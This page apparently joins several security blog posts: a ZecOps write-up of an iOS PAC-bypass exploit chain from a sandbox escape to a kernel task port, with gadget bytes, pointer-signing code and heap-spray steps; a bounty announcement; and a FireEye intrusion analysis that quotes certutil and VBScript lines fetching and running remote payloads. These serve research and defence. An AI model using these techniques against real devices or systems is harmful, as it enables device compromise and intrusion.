For more information regarding the vulnerability that is possible to trigger and exploit on iOS devices with no PAC capability, please refer to this article. We would like to thank 08Tc3wBB for this submission. 

Bounty: For this exploit chain, for both regular as well as non-PAC devices, we provided $35,000 in bounties.

Userspace Exploit

The published exploit describes how to achieve sandbox escape by exploiting CVE-2019-8797 of MIDIServer.

Following is the disassembly code from MIDIIORingBufferWriter::EmptySecondaryQueue on non-PAC devices. The published exploit is able to hijack the PC register by controlling the value of x8 in the highlighted line by exploiting CVE-2019-8797.

bool MIDIIORingBufferWriter::EmptySecondaryQueue(MIDIIORingBufferWriter *this) 
                stp         	x28, x27, [sp,#-0x10+var_50]!
                stp         	x26, x25, [sp,#0x50+var_40]
                stp         	x24, x23, [sp,#0x50+var_30]
                stp         	x22, x21, [sp,#0x50+var_20]
                stp         	x20, x19, [sp,#0x50+var_10]
                stp         	x29, x30, [sp,#0x50+var_s0]
                add         	x29, sp, #0x50
                mov         	x21, x0
                mov         	x19, x0 
                ldr         	x8, [x19,#0x58]!
                ldr         	x8, [x8,#0x10]
                mov         	x0, x19
                blr         	x8 // PC control

However, on the devices with PAC, the instruction “ldraa” loads pointer with pointer authentication, which means that we need to pass an address with proper authentication to x8.

bool MIDIIORingBufferWriter::EmptySecondaryQueue(MIDIIORingBufferWriter *this)
	         pacibsp
	         sub	sp, sp, #0x70
	         stp	x28, x27, [sp, #0x10]
	         stp	x26, x25, [sp, #0x20]
	         stp	x24, x23, [sp, #0x30]
	         stp	x22, x21, [sp, #0x40]
	         stp	x20, x19, [sp, #0x50]
	         stp	x29, x30, [sp, #0x60]
	         add	x29, sp, #0x60
	         mov	x19, x0 
	         add	x0, x0, #0x58    
	         str	x0, [sp]
	         ldr	x8, [x19, #0x58] // <-- x8 point to a controlled memory, with A-key encrypted
	         ldraa	x9, [x8, #0x10]! 
	         movk	x8, #0x165d, lsl #48
	         blraa	x9, x8 // PC control

Trying ROP without stripping the PAC pointer, triggers the following crash on the target process:

Exception Type:  EXC_BAD_ACCESS (SIGSEGV)
Exception Subtype: KERN_INVALID_ADDRESS at 0x002000029f000010 -> 0x000000029f000010 (possible pointer authentication failure)
VM Region Info: 0x29f000010 is in 0x280000000-0x2a0000000;  bytes after start: 520093712  bytes before end: 16777199
      REGION TYPE                      START - END             [ VSIZE] PRT/MAX SHRMOD  REGION DETAIL
      unused shlib __TEXT    00000001dd1f8000-00000001dd998000 [ 7808K] r--/r-- SM=COW  ... this process
      GAP OF 0xa2668000 BYTES
--->  MALLOC_NANO            0000000280000000-00000002a0000000 [512.0M] rw-/rwx SM=PRV  
      UNUSED SPACE AT END

This concept of PAC bypassing is derived from Ian Beer’s post. Let’s take a look at the document to see how “ldraa” works:

Load Register, with pointer authentication. This instruction authenticates an address from a base register using a modifier of zero and the specified key, adds an immediate offset to the authenticated address, and loads a 64-bit doubleword from memory at this resulting address into a register.

Key A is used for LDRAA, and key B is used for LDRAB.

Since the instruction “ldraa” uses the A-family keys which are shared between all processes, we are able to authenticate the addresses we have controlled using pac* instructions. The example below demonstrates how we can use the “pacdza” instruction to authenticate a data pointer that will pass the “ldraa”.

uint64_t PACSupport_pacdza(uint64_t data_ptr){
    
    const char *unused_fmt = "";
    printf(unused_fmt, data_ptr);
    __asm__ __volatile__("mov %0, x8"
                         ::"r"(data_ptr));
    __asm__ __volatile__(
                         "pacdza    x8\n"
                         "mov %0, x8\n"
                         :"=r"(data_ptr));
    return data_ptr;
}

After gaining initial PC Control, we still need to control other registers for arbitrary code execution. At this point, x0 contains a pointer that points to a memory we control, which is also A-key encrypted. 

When the targeted pointer is encrypted, normal instructions like “ldr“, “ldp” will trigger a crash.

Now, we need to strip code authentication for those registers. Following gadgets are used to strip the registers we need:

Gadget_doubleJump:
    0x08, 0x00, 0x40, 0xF9, // ldr    x8, [x0]
    0x09, 0x3D, 0x20, 0xF8, // ldraa  x9, [x8, #0x18]!
    0x48, 0x15, 0xEE, 0xF2, // movk   x8, #0x70aa, lsl #48
    0x28, 0x09, 0x3F, 0xD7, // blraa  x9, x8      // Jmp to Gadget_strip_x0
    0x08, 0x00, 0x40, 0xF9, // ldr    x8, [x0]    // Now x0 is fully under control
    0xE8, 0x3B, 0xC1, 0xDA, // autdza x8
    0x09, 0x01, 0x40, 0xF9, // ldr    x9, [x8]
    0xA8, 0x39, 0xFF, 0xF2, // movk   x8, #0xf9cd, lsl #48
    0x28, 0x09, 0x3F, 0xD7, // blraa  x9, x8

Gadget_strip_x0:
    0x00,0x00,0x40,0xF9, // ldr x0, [x0]   // Reset x0, now point to memory under our control
    0xE0,0x47,0xC1,0xDA, // xpacd  x0      // Remove PAC from it
    0xC0,0x03,0x5F,0xD6, // ret

Gadget_control_x0x2:
    0xF3, 0x03, 0x00, 0xAA, // mov    x19, x0
    0x08, 0x00, 0x42, 0xA9, // ldp    x8, x0, [x0, #0x20]
    0x61, 0x3A, 0x40, 0xB9, // ldr    w1, [x19, #0x38]
    0x62, 0x1A, 0x40, 0xF9, // ldr    x2, [x19, #0x30]
    0x1F, 0x09, 0x3F, 0xD6, // blraaz x8

After controlling PC, X0 and X2, we are able to call xpc_array_apply_f with x0 pointing to a crafted fake xpc array. Afterwards, the function pointer is called each time in a loop with a controllable x2 register:

By pointing the function pointer to IODispatchCalloutFromMessage and making each element of the fake xpc_array to point to a fake mach message matching the format expected by IODispatchCalloutFromMessage, it is possible to chain together an arbitrary number of basic function calls.

There are limitations compared to regular ROP, however this is sufficient to achieve the goal including opening up a kernel surface to proceed to kernel exploit.

Kernel Exploit

Kernel PAC does not affect the information disclosure bug, hence KASLR can be bypassed. 

In the published exploit, the PC is controlled by hijacking vtable in the line with a comment (a). Since we are not be able to use JOP due to PAC, we need another primitive for PAC bypass.

Let’s take a look at the AppleAVE2Driver::DeleteMemoryInfo function from another angle, emphasising that we have full control of *memInfo.

__int64 AppleAVE2Driver::DeleteMemoryInfo(AppleAVE2Driver *this, IOSurfaceBufferMngr **memInfo)
{
  [...]
 
  if ( memInfo )
  {
    if ( *memInfo )
    {
      v8 = destroy_iosurfaceinfo_buf(*memInfo); //(a) Hijack PC
      operator delete(v8);  // (b) Potentially leads to arbitrary memory release
    }
    memset(memInfo, 0, 0x28uLL);
    result = 0LL;
  }
 [...]
  return result;
}

__int64 __fastcall destroy_iosurfaceinfo_buf(__int64 a1)
{
  __int64 this; // x19

  this = a1;
  remove_buffer(a1);
  return this;
}

Following is the code that is called by destroy_iosurfaceinfo_buf. We can avoid triggering code execution by setting the value of some of the offsets (e.g. 0x28, 0x30 and 0x20 etc.) to 0 in order to control the pointer passed to “operator delete”  (see comment (b)). In this way, we turn this vulnerability into another powerful primitive – Arbitrary Memory Release.

__int64 __fastcall remove_buffer(__int64 a1)
{
  __int64 v1; // x19
  __int64 v2; // x2
  __int64 v3; // x0
  __int64 v4; // x0
  __int64 result; // x0
  __int64 v6; // x1
  __int64 v7; // x1

  v1 = a1;
  sub_FFFFFFF00691D958();
  if ( *(_QWORD *)(v1 + 0x28) && *(_QWORD *)(v1 + 0x68) && *(_QWORD *)(v1 + 0x50) ) //bypass
  {
    v2 = *(_QWORD *)(v1 + 0x48);
    sub_FFFFFFF006922108();
  }
  v3 = *(_QWORD *)(v1 + 0x30);
  if ( v3 ) //bypass
  {
    (*(void (**)(void))(*(_QWORD *)v3 + 0x28LL))();
    *(_QWORD *)(v1 + 0x30) = 0LL;
  }
  v4 = *(_QWORD *)(v1 + 0x28);
  if ( v4 ) //bypass
  {
    (*(void (**)(void))(*(_QWORD *)v4 + 0xD8LL))();
    (*(void (**)(void))(**(_QWORD **)(v1 + 40) + 40LL))();
    *(_QWORD *)(v1 + 40) = 0LL;
  }
  result = *(_QWORD *)(v1 + 0x20);
  if ( result ) //bypass
  {
   [...]
  }
  return result;

With this primitive, we can now use the strategy introduced in BlackHat USA 2019 by TieLei Wang and Hao Xu.

1. Spray OSdata that has the size of a page (0x4000), after spraying a large volume of OSdata, it’s not hard to predict the address of one of the OSdata. The predicted_address allows us to construct the OSdata which contains the fake ipc_port_struct and task_struct for leaking addresses of kernel_map and ipc_space_kernel in the following steps.

Noteworthy, OSata uses kmem_alloc instead of kmem_alloc_kobject while request size is equal or greater than page_size(0x4000), since kmem_alloc allocates data outside of kernel_object. we need to shrink spray_data_len to 0x3FFF.

+----------+----------+----------+----------+----------+
|  OSDATA  |  OSDATA  |  OSDATA  |  OSDATA  |  OSDATA  |
+----------+----------+----------+----------+----------+

2. Trigger vulnerability to release the OSdata at predicted_address.

+----------+----------+----------+----------+----------+
|  OSDATA  |  OSDATA  |  FREE    |  OSDATA  |  OSDATA  |
+----------+----------+----------+----------+----------+

3. Send ool_ports descriptor of the same size as the free’d OSdata to ourselves, to fill up that hole.

                     +-------------+
                     | ool_ports   |
                     +------+------+
                            |
                            |
+----------+----------+-----v----+----------+----------+
|  OSDATA  |  OSDATA  | MACH_MSG |  OSDATA  |  OSDATA  |
+----------+----------+----------+----------+----------+

4. Release filled data by using iosurface, so that the memory that holds ool_ports is released.

                     +-------------+
                     | ool_ports   |
                     +------+------+
                            |
                            |
+----------+----------+-----v----+----------+----------+
|  OSDATA  |  OSDATA  |   FREE   |  OSDATA  |  OSDATA  |
+----------+----------+----------+----------+----------+

5. Re-spray the OSdata with fake ipc objects to get control of ipc port structure. 

Please note that at this point we still couldn’t build a fake tfp0 due to not knowing the addresses of kernel_map and ipc_space_kernel.

                     +-------------+
                     | ool_ports   |
                     +------+------+
                            |
                            |
+----------+----------+-----v----+----------+----------+
|  OSDATA  |  OSDATA  |FAKE PORTS|  OSDATA  |  OSDATA  |
+----------+----------+----------+----------+----------+

6. Receive these ports which are translated from in-kernel ipc port structure that we have controlled in the previous step. Next, the fake ipc_port_struct and task_struct that was sprayed in step 1 is used for kernel info leak in order to read values from kernel memory with these fake ports, via pid_for_task.

Now, we have all the addresses required to build fake TFP0 ports.

7. Release and spray with the OSdata which contains fake TFP0 port while the ool_ports pointer still pointing to a fake ipc_port_struct. TFP0 achieved!

                     +-------------+
                     | ool_ports   |
                     +------+------+
                            |
                            |
+----------+----------+-----v----+----------+----------+
|FAKE TFP0 |FAKE TFP0 |FAKE TFP0 |FAKE TFP0 |FAKE TFP0 |
+----------+----------+----------+----------+----------+

Proof of Concept

The POC below is released for research purposes only. Use at your own risk. The POC is available here: https://github.com/ZecOps/public/tree/master/ZecOps_FreeTheSandbox_iOS_PAC_TFP0_POC_BEQ_12_4_2

References

Bonus

If you read all the way till here – here’s a bonus:
To receive #FreeTheSandbox stickers delivered to you, fill this form

task_for_pwn@zecops.com public key below:

-----BEGIN PGP PUBLIC KEY BLOCK-----

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
nuIgwms=
=WWrF
-----END PGP PUBLIC KEY BLOCK-----

Checkm8 Implications on iOS DFIR, TFP0, #FreeTheSandbox, Apple, and Google

Checkm8 Implications on iOS DFIR, TFP0, #FreeTheSandbox, Apple, and Google

Thanks to Checkm8 – a bootrom vulnerability that exist on most iPhones/iPads (<A12), a generic method to bypass the iOS sandbox restrictions will be made public within days/weeks for all previous and future versions of iOS! An upcoming release of a generic capability to extract the filesystem of a suspected iOS devices will help to boost digital forensics investigations.

Which devices are vulnerable: almost every iPhone/iPad until iPhone X. 
Which devices are not vulnerable? iPhone Xs/Xr and 11/11Pro.

Notably, the release of checkm8 will help to enhance Digital Forensics and Incident Response (DFIR) on iPhone X (and all previous models) and make it easier to perform deep investigations compared to the newer models such as iPhone Xs / Xr / 11. Whilst iPhones running on A12+ chipsets benefit from a Pointer Authentication Code (PAC) security mitigation, which makes exploitation significantly harder, the inspectability of such devices remain to be a major challenge and is crucial for successful DFIR investigations when initial suspicion is raised.  

Furthermore, this vulnerability, amongst other capabilities, allows iPhone owners to modify boot arguments which, for example, can enable users to have an even safer iOS version than vanilla iOS.

When ZecOps started the #FreeTheSandbox initiative, we did not foresee a release of a bootrom exploit covering the latest production devices. Thanks to @axi0mX bootrom exploits have become a reality and changed the game. A number of experienced and reputable researchers (such as @qwertyoruiopz, @siguza and many other fine individuals) worked tirelessly to make use of checkm8 in order to set the iOS sandbox free (a.k.a Checkra1n). 

Soon it will be released publicly.

Implications to Apple & Google:

Since almost every iOS device is now susceptible to jailbreaking without requiring new exploit chains or bypassing mitigation techniques, it is time for Apple to rethink its sandboxing strategy and allow iOS users to freely inspect their devices including A12 and A13 devices without the need of a Local Privilege Escalation (LPE) exploit. 

Device vendors, such as Apple and Google, will soon realize that Checkm8-style unpatchable vulnerabilities are inevitable. Restricting sandbox policy against device owners does not make sense and only benefit attackers that oftentimes leverage the sandbox to avoid detection.

Notable case was Google Project Zero discovery of 14 vulnerabilities leveraged in-the-wild against any iOS visitors of certain websites whilst attackers didn’t even try to hide and executed their payloads from a tmp folder. Following Checkm8, many researchers will take a closer look at bootrom vulnerabilities. Since boot level vulnerabilities are unavoidable, and we would like to encourage Google & Apple to open-up Android/iOS for inspectability with the consent of end-users. This will enable to perform complete DFIR investigations without flashing a new image, slowing down time-critical investigations or tampering with attacks’ evidence. 

Should device-vendors decide to consider this, ZecOps will collaborate with each vendor to enumerate key things that would be important to enable mobile DFIR investigations. Furthermore, enabling users to inspect their devices does not increase device issues, on the contrary, organizations that permit CYOD policy would prefer devices that are inspectible, especially in the Defense / Government sectors.  

Update to ZecOps Task-For-Pwn-0 Project

Following this release, ZecOps decided that we should focus more on bootrom vulnerabilities for both iOS and Android. 

  • iOS Bootrom vulnerabilities for A12/A13: We’re willing to offer up to $250,000 bounties for A12 and A13 bootrom vulnerabilities. 
  • Android support: With this blog post, we are happy to announce that we are opening up our program for Android devices too. As a starting point, we’ll only examine Android boot-level bugs.
  • Existing LPEs on iOS 13+: Until we receive bootrom submissions, on iOS we’ll focus exclusively on LPEs for A12/A13 devices.

Other TFP0 Term & Updates

Disclosures / (non)-exclusivity / and other terms will be discussed with researchers at the time of the submission. Price for the bounty will be determined following an agreement on the terms.

Submissions

Send submissions to task_for_pwn@zecops.com. The public key is available at the bottom of this post.

It has been almost two months since we launched the program and so far it has been a great success, since it helps our DFIR investigations globally! More updates to this program will be provided soon, as it is continuously evolving. 

We would like to thank everyone who supports #FreeTheSandbox initiative and hope that soon we will all be allowed to inspect devices we purchased without the need to break into them.

If you wish to analyze suspected devices – please contact us here DFIR_inspections@zecops.com

The ZecOps TFP0 Team

Bonus

If you read all the way till here – here’s a bonus:
To receive #FreeTheSandbox stickers delivered to you, fill this form

task_for_pwn@zecops.com public key below:

-----BEGIN PGP PUBLIC KEY BLOCK-----

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
nuIgwms=
=WWrF
-----END PGP PUBLIC KEY BLOCK-----

CertUtil Qualms: They Came to Drop FOMBs

This blog post covers an interesting intrusion attempt that FireEye Managed Defense thwarted involving the rapid weaponization of a recently disclosed vulnerability combined with the creative use of WMI compiled “.bmf” files and CertUtil for obfuscated execution.

This intrusion attempt highlights a number of valuable lessons in security, chiefly: attackers work fast – faster than many security teams can react. Additionally, patching complex software environments while keeping the business operational makes it difficult to keep pace with attackers exploiting vulnerabilities, especially when these truths are coupled with rapid exploitation with innovative obfuscation methods utilizing the operating systems own feature set against it.

Everybody’s Working for the Recon

While monitoring our customers around the clock, FireEye Managed Defense identified suspicious file write activity on a system at a European manufacturing client and began our initial investigation by collecting the available volatile and non-volatile data from the affected host. Once evidence collection had completed, we began parsing the forensic data using the parsers available in FireEye's free Redline forensic analysis tool. Analysis of the logs quickly revealed that there were commands executed on the host which were consistent with interactive reconnaissance activity. Typically, once a host has successfully been compromised, attackers are presented with a command shell window which allows them to run commands on the host. These commands can consist of reconnaissance activity which expose useful information about the host to the attacker. The following is a snippet of the commands that we observed successfully executed on the host:  

ipconfig.exe ipconfig /all
whoami.exe whoami

The associated parent process that handled execution of the aforementioned listed processes was: "\Weaver\jdk_new\bin\javaw.exe". 

FOMBs AWAY!

Once the attackers gained access to the web server by exploiting an unknown vulnerability, they attempted to further pivot control within the system through the use of Windows Management Instrumentation (WMI). They leveraged WMI's execution process, which takes Managed Object Format (MOF) files as input and compiles them into the WMI buffer, resulting in a compiled “.bmf” output file. The attackers wrote their second-stage payload and compiled it with WMI. Finally, they uploaded the compiled “.bmf” file to their web server and modified the file to masquerade as a ".rar" file .

Upon further assessment of the activity, we observed that after the threat actors gained access to the affected web server, they utilized a Windows native binary called “Certutil.exe” to download malicious code from a remote resource. Our investigation revealed that an instance of the process “Certutil.exe” was executed with the following command line arguments:   

certutil  -urlcache -split
-f http://[DOMAIN]/uploads/180307/l.rar c:\windows\temp\l.rar

Options

Description 

-urlcache 

Display or delete URL cache entries

-split 

Split embedded ASN.1 elements, and save to files

 

-f 

Force overwrite

(Source: Microsoft certutil page)

FireEye has observed this methodology executed numerous times by both ethical hackers and unauthorized threat actors in addition to Certutil’s benign use as a part of legitimate business applications and operations.

Shortly after the second-stage payload was downloaded, we observed several file write events related to `l.rar` (MD5: 4084eb4a41e3a01db2fe6f0b91064afa). Of particular note were: 

cmd.exe  cmd /c mofcomp.exe C:\Windows\temp\l.rar
cmd.exe cmd /c del C:\Windows\temp\l.rar

The aforementioned commands utilize Window's "cmd.exe" interpreter to run "mofcomp.exe" on the newly obtained "l.rar". This process is designed to parse a file containing MOF statements and add any class and class instances defined in the file to the WMI repository, and subsequently delete the aforementioned file.

The use of “mofcomp.exe” for attackers and defenders was first proposed at MIRcon 2014 by FireEye Mandiant incident responders Christopher Glyer and Devon Kerr in their “There’s Something about WMI” talk (Figure 1).


Figure 1: Proposed use of MOF files for red and blue teams

We obtained the file "l.rar" for further analysis and observed that the file header began with "FOMB". This file header when conveniently flipped is "BMOF", as in Binary Managed Object Format. With this information in hand we began searching for methods to reverse the compiled binary. Upon analyzing the file in FireEye's sandbox environment, we were able to obtain the following information from the BMOF file:

On Error Resume Next:execmydler():Function execmydler():Set
P=CreateObject("WinHttp.WinHttpRequest.5.1"):P[.]Open
"GET","hxxp[://[DOMAIN]/d/dl[.]asp",0:P[.]Send():b=P[.]responseText:M=Spli
t(b,",",-1,1):For Each Od In M:Nd=Nd+Chr(Od-
2):Next:Set P=Nothing:If Len(Nd) > 10 Then:Execute(Nd):End If:End

In an attempt to masquerade activities, the attackers wrote an MOF script and compiled it into a BMOF file, then ran the malicious BMOF file on the victim machine via WMI. The aforementioned code attempts to download a second-stage payload from "hxxp[://[DOMAIN]/d/dl[.]asp" when executed. Since the WMI buffer is involved, this attack vector opens the door to gaining a persistent foothold in the victim environment.

During this research period we also found an open-sourced project titled "bmfdec" that also decompiled BMOF files. 

Uncovering the Exploit

